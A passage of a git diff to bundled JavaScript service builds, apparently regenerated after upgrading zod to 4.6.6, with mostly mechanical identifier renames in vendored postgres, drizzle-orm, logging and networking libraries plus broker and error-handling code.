tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69110,13 +74089,12 @@ function convertBaseSchema(schema, ctx) { zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); } } else if (Array.isArray(items)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = items.map((item) => convertSchema(item, ctx)); - const rest = schema.additionalItems && typeof schema.additionalItems === "object" ? convertSchema(schema.additionalItems, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = getTupleRest(schema.additionalItems, ctx); + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69136,6 +74114,14 @@ function convertBaseSchema(schema, ctx) { } else { zodSchema = z.array(z.any()); } + if (schema.uniqueItems === true || schema.contains !== void 0) { + zodSchema = checkArrayGuards(zodSchema, { + uniqueItems: schema.uniqueItems === true, + containsSchema: schema.contains !== void 0 ? convertSchema(schema.contains, ctx) : void 0, + minContains: typeof schema.minContains === "number" ? schema.minContains : void 0, + maxContains: typeof schema.maxContains === "number" ? schema.maxContains : void 0 + }); + } break; } default: @@ -69193,9 +74179,27 @@ function convertSchema(schema, ctx) { extraMeta[key] = schema[key]; } } + if (schema.type === "object" && schema.$ref === void 0) { + if (schema.propertyNames !== void 0 && !containsRef(schema.propertyNames)) { + extraMeta.propertyNames = schema.propertyNames; + } + for (const key of ["minProperties", "maxProperties"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } + if (schema.type === "array" && schema.$ref === void 0) { + if (schema.contains !== void 0 && !containsRef(schema.contains)) { + extraMeta.contains = schema.contains; + } + for (const key of ["uniqueItems", "minContains", "maxContains"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } for (const key of Object.keys(schema)) { if (!RECOGNIZED_KEYS.has(key)) { - extraMeta[key] = schema[key]; + assignProp(extraMeta, key, schema[key]); } } if (Object.keys(extraMeta).length > 0) { @@ -69229,7 +74233,204 @@ function fromJSONSchema(schema, params) { return convertSchema(normalized, ctx); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/coerce.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/visit.js +var RESOLVING = Symbol("z.visit/resolving"); +function visit(schema, fnOrHandlers) { + const fn = typeof fnOrHandlers === "function" ? fnOrHandlers : (node2, rewritten) => { + const h = fnOrHandlers[node2._zod.def.type]; + return h ? h(node2, rewritten) : node2; + }; + const cache2 = /* @__PURE__ */ new Map(); + function run(s) { + const cached2 = cache2.get(s); + if (cached2 === RESOLVING) { + return new $ZodLazy({ + type: "lazy", + getter: () => cache2.get(s) + }); + } + if (cached2 !== void 0) + return cached2; + cache2.set(s, RESOLVING); + const inner = mapInner(s); + const mapped = fn(inner, inner !== s); + cache2.set(s, mapped); + return mapped; + } + function mapInner(s) { + const def = s._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const oldShape = def.shape; + const keys = Object.keys(oldShape); + let changed = false; + const newShape = {}; + for (const k of keys) { + const mapped = run(oldShape[k]); + if (mapped !== oldShape[k]) + changed = true; + newShape[k] = mapped; + } + let newCatchall = def.catchall; + if (def.catchall) { + newCatchall = run(def.catchall); + if (newCatchall !== def.catchall) + changed = true; + } + return changed ? clone(s, { ...def, shape: newShape, catchall: newCatchall }) : s; + } + case "array": { + const mapped = run(def.element); + return mapped === def.element ? s : clone(s, { ...def, element: mapped }); + } + case "tuple": { + const oldItems = def.items; + let changed = false; + const newItems = []; + for (const item of oldItems) { + const mapped = run(item); + if (mapped !== item) + changed = true; + newItems.push(mapped); + } + let newRest = def.rest; + if (def.rest) { + newRest = run(def.rest); + if (newRest !== def.rest) + changed = true; + } + return changed ? clone(s, { ...def, items: newItems, rest: newRest }) : s; + } + case "record": + case "map": { + const newKey = run(def.keyType); + const newVal = run(def.valueType); + return newKey === def.keyType && newVal === def.valueType ? s : clone(s, { ...def, keyType: newKey, valueType: newVal }); + } + case "set": { + const newVal = run(def.valueType); + return newVal === def.valueType ? s : clone(s, { ...def, valueType: newVal }); + } + case "union": { + const oldOptions = def.options; + let changed = false; + const newOptions = []; + for (const opt of oldOptions) { + const mapped = run(opt); + if (mapped !== opt) + changed = true; + newOptions.push(mapped); + } + return changed ? clone(s, { ...def, options: newOptions }) : s; + } + case "intersection": { + const newLeft = run(def.left); + const newRight = run(def.right); + return newLeft === def.left && newRight === def.right ? s : clone(s, { ...def, left: newLeft, right: newRight }); + } + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": { + const newInner = run(def.innerType); + return newInner === def.innerType ? s : clone(s, { ...def, innerType: newInner }); + } + case "pipe": { + const newIn = run(def.in); + const newOut = run(def.out); + return newIn === def.in && newOut === def.out ? s : clone(s, { ...def, in: newIn, out: newOut }); + } + case "function": { + const newInput = run(def.input); + const newOutput = run(def.output); + return newInput === def.input && newOutput === def.output ? s : clone(s, { ...def, input: newInput, output: newOutput }); + } + case "lazy": { + const original = def.getter; + const { _cachedInner, ...rest } = def; + return clone(s, { ...rest, getter: () => run(original()) }); + } + // A leaf by choice: `parts` are regex fragments, not data positions. + case "template_literal": + // Leaves. + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + return s; + default: { + kind; + return s; + } + } + } + return run(schema); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/deep-partial.js +function deepPartial(schema) { + return visit(schema, { + object: (s) => s.partial(), + // Every partialed option now admits `undefined`, which the constructor rejects as a duplicate. + union: (s) => { + const def = s._zod.def; + return def.discriminator === void 0 ? s : union(def.options); + } + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/in-out.js +function withChecks(side, checks) { + if (!checks?.length) + return side; + const def = side._zod.def; + return clone(side, mergeDefs(def, { checks: [...def.checks ?? [], ...checks] }), { parent: true }); +} +function outSide(def) { + return withChecks(def.out, def.checks); +} +function inSide(def) { + return def.in._zod.traits.has("$ZodTransform") ? outSide(def) : def.in; +} +function input(schema) { + return visit(schema, { + pipe: (s) => inSide(s._zod.def), + // A default value belongs to the output side, so a rewritten inner type leaves it stranded. `.default()` widens the declared input type with `undefined`, and `optional` is what carries that across. + default: (s, rewritten) => rewritten ? optional(s._zod.def.innerType) : s, + // A catch value is output-side too, but `.catch()` leaves the declared input type alone, so the inner schema stands on its own. + catch: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} +function output(schema) { + return visit(schema, { + pipe: (s) => outSide(s._zod.def), + // A prefault value is fed through the schema, which makes it input-side, so a rewritten inner type leaves it stranded. + prefault: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/coerce.js var coerce_exports = {}; __export(coerce_exports, { bigint: () => bigint3, @@ -69254,9 +74455,6 @@ function date4(params) { return _coercedDate(ZodDate, params); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js -config(en_default()); - // packages/types/src/common.ts var uuidSchema = external_exports.uuid(); var isoTimestampSchema = external_exports.iso.datetime(); @@ -69710,8 +74908,8 @@ var eventEnvelopeSchema = external_exports.object({ trace: traceContextSchema, payload: external_exports.unknown() }); -function parseEvent(input) { - const envelope = eventEnvelopeSchema.parse(input); +function parseEvent(input2) { + const envelope = eventEnvelopeSchema.parse(input2); const payloadSchema = payloads[envelope.event_type]; const payload = payloadSchema.parse(envelope.payload); return { ...envelope, payload }; @@ -70181,7 +75379,7 @@ var Errors = { }; function connection(x, options, socket) { const { host, port } = socket || options; - const error51 = Object.assign( + const error62 = Object.assign( new Error("write " + x + " " + (options.path || host + ":" + port)), { code: x, @@ -70190,29 +75388,29 @@ function connection(x, options, socket) { }, options.path ? {} : { port } ); - Error.captureStackTrace(error51, connection); - return error51; + Error.captureStackTrace(error62, connection); + return error62; } function postgres(x) { - const error51 = new PostgresError(x); - Error.captureStackTrace(error51, postgres); - return error51; + const error62 = new PostgresError(x); + Error.captureStackTrace(error62, postgres); + return error62; } function generic(code, message2) { - const error51 = Object.assign(new Error(code + ": " + message2), { code }); - Error.captureStackTrace(error51, generic); - return error51; + const error62 = Object.assign(new Error(code + ": " + message2), { code }); + Error.captureStackTrace(error62, generic); + return error62; } function notSupported(x) { - const error51 = Object.assign( + const error62 = Object.assign( new Error(x + " (B) is not supported"), { code: "MESSAGE_NOT_SUPPORTED", name: x } ); - Error.captureStackTrace(error51, notSupported); - return error51; + Error.captureStackTrace(error62, notSupported); + return error62; } // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/types.js @@ -70720,10 +75918,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose try { x = options.socket ? await Promise.resolve(options.socket(options)) : new net.Socket(); } catch (e) { - error51(e); + error62(e); return; } - x.on("error", error51); + x.on("error", error62); x.on("close", closed); x.on("drain", drain); return x; @@ -70734,8 +75932,8 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose await connect(); socket.once("error", reject); socket.once("close", resolve); - } catch (error52) { - reject(error52); + } catch (error63) { + reject(error63); } } function execute(q) { @@ -70750,9 +75948,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose query ? sent.push(q) : (query = q, query.active = true); build(q); return write(toBuffer(q)) && !q.describeFirst && !q.cursorFn && sent.length < max_pipeline && (!q.options.onexecute || q.options.onexecute(connection2)); - } catch (error52) { + } catch (error63) { sent.length === 0 && write(Sync); - errored(error52); + errored(error63); return true; } } @@ -70831,7 +76029,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket.removeAllListeners(); socket = tls.connect(options2); socket.on("secureConnect", connected); - socket.on("error", error51); + socket.on("error", error62); socket.on("close", closed); socket.on("drain", drain); } @@ -70897,10 +76095,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose const s = StartupMessage(); write(s); } catch (err) { - error51(err); + error62(err); } } - function error51(err) { + function error62(err) { if (connection2.queue === queues.connecting && options.host[retries + 1]) return; errored(err); @@ -70932,7 +76130,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose function terminate() { terminated = true; if (stream || query || initial || sent.length) - error51(Errors.connection("CONNECTION_DESTROYED", options)); + error62(Errors.connection("CONNECTION_DESTROYED", options)); clearImmediate(nextWriteTimer); if (socket) { socket.removeListener("data", data); @@ -70955,7 +76153,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket = null; if (initial) return reconnect(); - !hadError && (query || sent.length) && error51(Errors.connection("CONNECTION_CLOSED", options, socket)); + !hadError && (query || sent.length) && error62(Errors.connection("CONNECTION_CLOSED", options, socket)); closedTime = performance2.now(); hadError && options.shared.retries++; delay = (typeof backoff2 === "function" ? backoff2(options.shared.retries) : backoff2) * 1e3; @@ -71269,9 +76467,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose errored(Errors.postgres(parseError(x))); } } - function retry(q, error52) { + function retry(q, error63) { delete statements[q.signature]; - q.retried = error52; + q.retried = error63; execute(q); } function NotificationResponse(x) { @@ -71304,9 +76502,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71335,9 +76533,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71419,15 +76617,15 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose } } function parseError(x) { - const error51 = {}; + const error62 = {}; let start = 5; for (let i = 5; i < x.length - 1; i++) { if (x[i] === 0) { - error51[errorFields[x[start]]] = x.toString("utf8", start + 1, i); + error62[errorFields[x[start]]] = x.toString("utf8", start + 1, i); start = i + 1; } } - return error51; + return error62; } function md5(x) { return crypto2.createHash("md5").update(x).digest("hex"); @@ -71539,10 +76737,10 @@ function Subscribe(postgres2, options) { lsn: Buffer.concat(x.consistent_point.split("/").map((x2) => Buffer.from(("00000000" + x2).slice(-8), "hex"))) }; stream2.on("data", data); - stream2.on("error", error51); + stream2.on("error", error62); stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; - function error51(e) { + function error62(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { @@ -71767,7 +76965,7 @@ var src_default = Postgres; function Postgres(a, b2) { const options = parseOptions(a, b2), subscribe = options.no_subscribe || Subscribe(Postgres, { ...options }); let ending = false; - const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; + const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open2 = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open: open2, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); const sql3 = Sql(handler); Object.assign(sql3, { @@ -71880,7 +77078,7 @@ function Postgres(a, b2) { } async function reserve() { const queue = queue_default(); - const c = open.length ? open.shift() : await new Promise((resolve, reject) => { + const c = open2.length ? open2.shift() : await new Promise((resolve, reject) => { const query = { reserve: resolve, reject }; queries.push(query); closed.length && connect(closed.shift(), query); @@ -71908,8 +77106,8 @@ function Postgres(a, b2) { scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) ]); - } catch (error51) { - throw error51; + } catch (error62) { + throw error62; } async function scope(c, fn2, name) { const sql4 = Sql(handler2); @@ -71953,7 +77151,7 @@ function Postgres(a, b2) { c.queue.remove(c); queue.push(c); c.queue = queue; - queue === open ? c.idleTimer.start() : c.idleTimer.cancel(); + queue === open2 ? c.idleTimer.start() : c.idleTimer.cancel(); return c; } function json3(x) { @@ -71967,8 +77165,8 @@ function Postgres(a, b2) { function handler(query) { if (ending) return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); - if (open.length) - return go(open.shift(), query); + if (open2.length) + return go(open2.shift(), query); if (closed.length) return connect(closed.shift(), query); busy.length ? go(busy.shift(), query) : queries.push(query); @@ -72013,7 +77211,7 @@ function Postgres(a, b2) { } function onopen(c) { if (queries.length === 0) - return move(c, open); + return move(c, open2); let max = Math.ceil(queries.length / (connecting.length + 1)), ready = true; while (ready && queries.length && max-- > 0) { const query = queries.shift(); @@ -72814,8 +78012,8 @@ var PgEnumColumn = class extends PgColumn { return this.enum.enumName; } }; -function pgEnum(enumName, input) { - return Array.isArray(input) ? pgEnumWithSchema(enumName, [...input], void 0) : pgEnumObjectWithSchema(enumName, input, void 0); +function pgEnum(enumName, input2) { + return Array.isArray(input2) ? pgEnumWithSchema(enumName, [...input2], void 0) : pgEnumObjectWithSchema(enumName, input2, void 0); } function pgEnumWithSchema(enumName, values2, schema) { const enumInstance = Object.assign( @@ -73539,16 +78737,16 @@ function mapResultRow(columns, row, joinsNotNullableMap) { } else { decoder2 = field.sql.decoder; } - let node = result2; + let node2 = result2; for (const [pathChunkIndex, pathChunk] of path.entries()) { if (pathChunkIndex < path.length - 1) { - if (!(pathChunk in node)) { - node[pathChunk] = {}; + if (!(pathChunk in node2)) { + node2[pathChunk] = {}; } - node = node[pathChunk]; + node2 = node2[pathChunk]; } else { const rawValue = row[columnIndex]; - const value = node[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); + const value = node2[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); if (joinsNotNullableMap && is(field, Column) && path.length === 2) { const objectName = path[0]; if (!(objectName in nullifyMap)) { @@ -75263,19 +80461,19 @@ var PrimaryKey = class { }; // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/casing.js -function toSnakeCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toSnakeCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.map((word) => word.toLowerCase()).join("_"); } -function toCamelCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toCamelCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.reduce((acc, word, i) => { const formattedWord = i === 0 ? word.toLowerCase() : `${word[0].toUpperCase()}${word.slice(1)}`; return acc + formattedWord; }, ""); } -function noopCase(input) { - return input; +function noopCase(input2) { + return input2; } var CasingCache = class { static [entityKind] = "CasingCache"; @@ -75810,13 +81008,13 @@ var PgDialect = class { const columnNames = Object.keys(tableColumns).filter( (colName) => set2[colName] !== void 0 || tableColumns[colName]?.onUpdateFn !== void 0 ); - const setSize = columnNames.length; + const setSize2 = columnNames.length; return sql.join(columnNames.flatMap((colName, i) => { const col = tableColumns[colName]; const onUpdateFnResult = col.onUpdateFn?.(); const value = set2[colName] ?? (is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col)); const res = sql`${sql.identifier(this.casing.getColumnCasing(col))} = ${value}`; - if (i < setSize - 1) { + if (i < setSize2 - 1) { return [res, sql.raw(", ")]; } return [res]; @@ -79826,8 +85024,8 @@ var MemoryBroker = class { try { await registration.options.handler(envelope, context2); return; - } catch (error51) { - lastError = error51; + } catch (error62) { + lastError = error62; if (attempt < maxRetries) { await this.sleep(backoffDelayMs(attempt)); } @@ -79892,13 +85090,13 @@ function inList(values2) { sql`, ` ); } -function sanitizeError(error51) { +function sanitizeError(error62) { let described; - if (error51 instanceof Error) { - const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + if (error62 instanceof Error) { + const inner = error62.message.startsWith("Failed query") && error62.cause instanceof Error ? error62.cause : error62; described = `${inner.name}: ${inner.message}`; } else { - described = String(error51); + described = String(error62); } return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); } @@ -80199,12 +85397,12 @@ var PostgresBroker = class { }, payload: claimed.payload }); - } catch (error51) { + } catch (error62) { this.logger.error( { consumer: claimed.consumer, event_id: claimed.event_id }, "dead-lettering unparseable outbox event" ); - return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error62)}`); } if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { return this.bury( @@ -80217,14 +85415,14 @@ var PostgresBroker = class { if (await this.alreadyProcessed(claimed)) { return await this.complete(claimed); } - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; try { await registration.handler(envelope, context2); - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } return this.complete(claimed); } @@ -80257,17 +85455,17 @@ var PostgresBroker = class { ); } return "processed"; - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a successful delivery" ); return "failed"; } } - async retryOrBury(registration, claimed, envelope, error51) { + async retryOrBury(registration, claimed, envelope, error62) { const retry = claimed.attempts - 1; - const description = sanitizeError(error51); + const description = sanitizeError(error62); if (retry < this.maxRetriesFor(registration)) { return this.settle(claimed, "failed", description, this.backoffMs(retry)); } @@ -80305,9 +85503,9 @@ var PostgresBroker = class { nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, updatedAt: sql`now()` }).where(this.fence(claimed)); - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a failed delivery" ); } @@ -80359,9 +85557,9 @@ var RabbitMqBroker = class { async ensureChannel() { if (this.channel !== null) return this.channel; const connection2 = await import_amqplib.default.connect(this.options.url); - connection2.on("error", (error51) => { + connection2.on("error", (error62) => { this.healthy = false; - this.options.logger.error({ err: error51 }, "rabbitmq connection error"); + this.options.logger.error({ err: error62 }, "rabbitmq connection error"); }); connection2.on("close", () => { this.healthy = false; @@ -80433,9 +85631,9 @@ var RabbitMqBroker = class { let envelope; try { envelope = parseEvent(JSON.parse(message2.content.toString("utf8"))); - } catch (error51) { + } catch (error62) { this.options.logger.error( - { err: error51, consumer: options.consumer }, + { err: error62, consumer: options.consumer }, "discarding unparseable message" ); channel.nack(message2, false, false); @@ -80445,8 +85643,8 @@ var RabbitMqBroker = class { try { await options.handler(envelope, context2); channel.ack(message2); - } catch (error51) { - const errorMessage = error51 instanceof Error ? error51.message : String(error51); + } catch (error62) { + const errorMessage = error62 instanceof Error ? error62.message : String(error62); if (attempt >= maxRetries) { this.options.logger.error( { consumer: options.consumer, event_id: envelope.event_id, attempts: attempt + 1 }, @@ -80653,8 +85851,8 @@ async function findByUserAndIdempotencyKey(db2, userId, idempotencyKey) { const [row] = await db2.select().from(schema_exports.applications).where(and(eq(schema_exports.applications.userId, userId), eq(schema_exports.applications.idempotencyKey, idempotencyKey))).limit(1); return row ?? null; } -async function insertApplication(db2, input) { - const [row] = await db2.insert(schema_exports.applications).values(input).returning(); +async function insertApplication(db2, input2) { + const [row] = await db2.insert(schema_exports.applications).values(input2).returning(); if (!row) throw new Error("insertApplication: insert returned no row"); return row; } @@ -80685,20 +85883,20 @@ async function listForUser(db2, userId, pagination) { async function listForOrganization(db2, organizationId, pagination) { return listByCondition(db2, eq(schema_exports.applications.organizationId, organizationId), pagination); } -async function appendEvent(db2, input) { +async function appendEvent(db2, input2) { return db2.transaction(async (tx) => { const now = (/* @__PURE__ */ new Date()).toISOString(); const [updated] = await tx.update(schema_exports.applications).set({ - status: input.toStatus, + status: input2.toStatus, lastEventAt: now, - submittedAt: input.toStatus === "submitted" ? now : void 0 - }).where(eq(schema_exports.applications.applicationId, input.applicationId)).returning(); + submittedAt: input2.toStatus === "submitted" ? now : void 0 + }).where(eq(schema_exports.applications.applicationId, input2.applicationId)).returning(); if (!updated) throw new Error("appendEvent: application disappeared mid-transaction"); await tx.insert(schema_exports.applicationEvents).values({ - applicationId: input.applicationId, - fromStatus: input.fromStatus, - toStatus: input.toStatus, - note: input.note + applicationId: input2.applicationId, + fromStatus: input2.fromStatus, + toStatus: input2.toStatus, + note: input2.note }); return updated; }); @@ -80931,35 +86129,35 @@ function buildApp(deps) { }); const metrics2 = createMetricsRegistry("applications-service"); registerHttpMetrics(app2, metrics2); - app2.setErrorHandler((error51, request, reply) => { - if (error51 instanceof ZodError) { + app2.setErrorHandler((error62, request, reply) => { + if (error62 instanceof ZodError) { reply.status(400).send({ error: { code: "VALIDATION_ERROR", message: "Request failed validation", request_id: request.id, - details: error51.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) + details: error62.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) } }); return; } - if (isAppError(error51)) { - reply.status(error51.statusCode).send(error51.toResponse(request.id)); + if (isAppError(error62)) { + reply.status(error62.statusCode).send(error62.toResponse(request.id)); return; } - const fastifyStatus = error51.statusCode; + const fastifyStatus = error62.statusCode; if (fastifyStatus !== void 0 && fastifyStatus >= 400 && fastifyStatus < 500) { reply.status(fastifyStatus).send({ error: { code: STATUS_TO_CODE[fastifyStatus] ?? "VALIDATION_ERROR", - message: error51.message, + message: error62.message, request_id: request.id } }); return; } - request.log.error({ err: error51 }, "unhandled error"); - const appError = toAppError(error51); + request.log.error({ err: error62 }, "unhandled error"); + const appError = toAppError(error62); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); app2.setNotFoundHandler((request, reply) => { diff --git a/api/auth/index.js b/api/auth/index.js index 756f8ea..2cb9d1f 100644 --- a/api/auth/index.js +++ b/api/auth/index.js @@ -1540,12 +1540,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -1567,12 +1567,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -2234,11 +2234,11 @@ var require_thread_stream = __commonJS({ write(data) { const dataBuf = Buffer.isBuffer(data) ? data : Buffer.from(data); if (this[kImpl].destroyed) { - error51(this, new Error("the worker has exited")); + error62(this, new Error("the worker has exited")); return false; } if (this[kImpl].ending) { - error51(this, new Error("the worker is ending")); + error62(this, new Error("the worker is ending")); return false; } if (this[kImpl].flushing && this[kImpl].bufLen + dataBuf.length >= MAX_STRING) { @@ -2399,7 +2399,7 @@ var require_thread_stream = __commonJS({ } callbacks.clear(); } - function error51(stream, err) { + function error62(stream, err) { setImmediate(() => { stream.emit("error", err); }); @@ -2412,7 +2412,7 @@ var require_thread_stream = __commonJS({ failPendingFlushCallbacks(stream, err); if (err) { stream[kImpl].errored = err; - error51(stream, err); + error62(stream, err); } if (!stream.worker.exited) { stream.worker.terminate().catch(() => { @@ -5490,9 +5490,9 @@ var require_cors = __commonJS({ addOriginToVaryHeader(reply); } const resolveOriginOption = typeof options.origin === "function" ? resolveOriginWrapper(fastify, options.origin) : (_, cb) => cb(null, options.origin); - resolveOriginOption(req, (error51, resolvedOriginOption) => { - if (error51 !== null) { - return next(error51); + resolveOriginOption(req, (error62, resolvedOriginOption) => { + if (error62 !== null) { + return next(error62); } if (resolvedOriginOption === false) { return next(); @@ -5908,8 +5908,8 @@ var require_ipv4 = __commonJS({ * Address4.fromWildcard('192.168.*.*').subnet; // '/16' * Address4.fromWildcard('*.*.*.*').subnet; // '/0' */ - static fromWildcard(input) { - const groups = input.split("."); + static fromWildcard(input2) { + const groups = input2.split("."); if (groups.length !== constants.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 4 octets"); } @@ -5996,12 +5996,12 @@ var require_ipv4 = __commonJS({ * @returns {String} */ toGroup6() { - const output = []; + const output2 = []; let i; for (i = 0; i < constants.GROUPS; i += 2) { - output.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); + output2.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); } - return output.join(":"); + return output2.join(":"); } /** * Returns the address as a `bigint` @@ -6717,21 +6717,21 @@ var require_ipv6 = __commonJS({ let host; let port = null; let result; - let error51; + let error62; const stripped = url2.replace(/^[a-z][a-z0-9+.-]*:\/\//i, ""); if (stripped.indexOf("[") !== -1 && stripped.indexOf("]:") !== -1) { - error51 = "failed to parse address with port"; + error62 = "failed to parse address with port"; result = constants6.RE_URL_WITH_PORT.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = result[1]; port = result[2]; } else { - error51 = "failed to parse address from URL"; + error62 = "failed to parse address from URL"; result = constants6.RE_URL.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = (_a3 = result[1]) !== null && _a3 !== void 0 ? _a3 : result[2]; } @@ -6747,7 +6747,7 @@ var require_ipv6 = __commonJS({ try { address = new _Address6(host); } catch { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } return { address, port }; } @@ -6794,11 +6794,11 @@ var require_ipv6 = __commonJS({ * Address6.fromWildcard('2001:db8::*').subnet; // '/112' * Address6.fromWildcard('*:*:*:*:*:*:*:*').subnet; // '/0' */ - static fromWildcard(input) { - if (input.includes("%") || input.includes("/")) { + static fromWildcard(input2) { + if (input2.includes("%") || input2.includes("/")) { throw new address_error_1.AddressError("Wildcard pattern must not include a zone or CIDR suffix"); } - const halves = input.split("::"); + const halves = input2.split("::"); if (halves.length > 2) { throw new address_error_1.AddressError("Wildcard pattern cannot contain more than one '::'"); } @@ -6812,7 +6812,7 @@ var require_ipv6 = __commonJS({ } groups = [...left, ...new Array(remaining).fill("0"), ...right]; } else { - groups = input.split(":"); + groups = input2.split(":"); } if 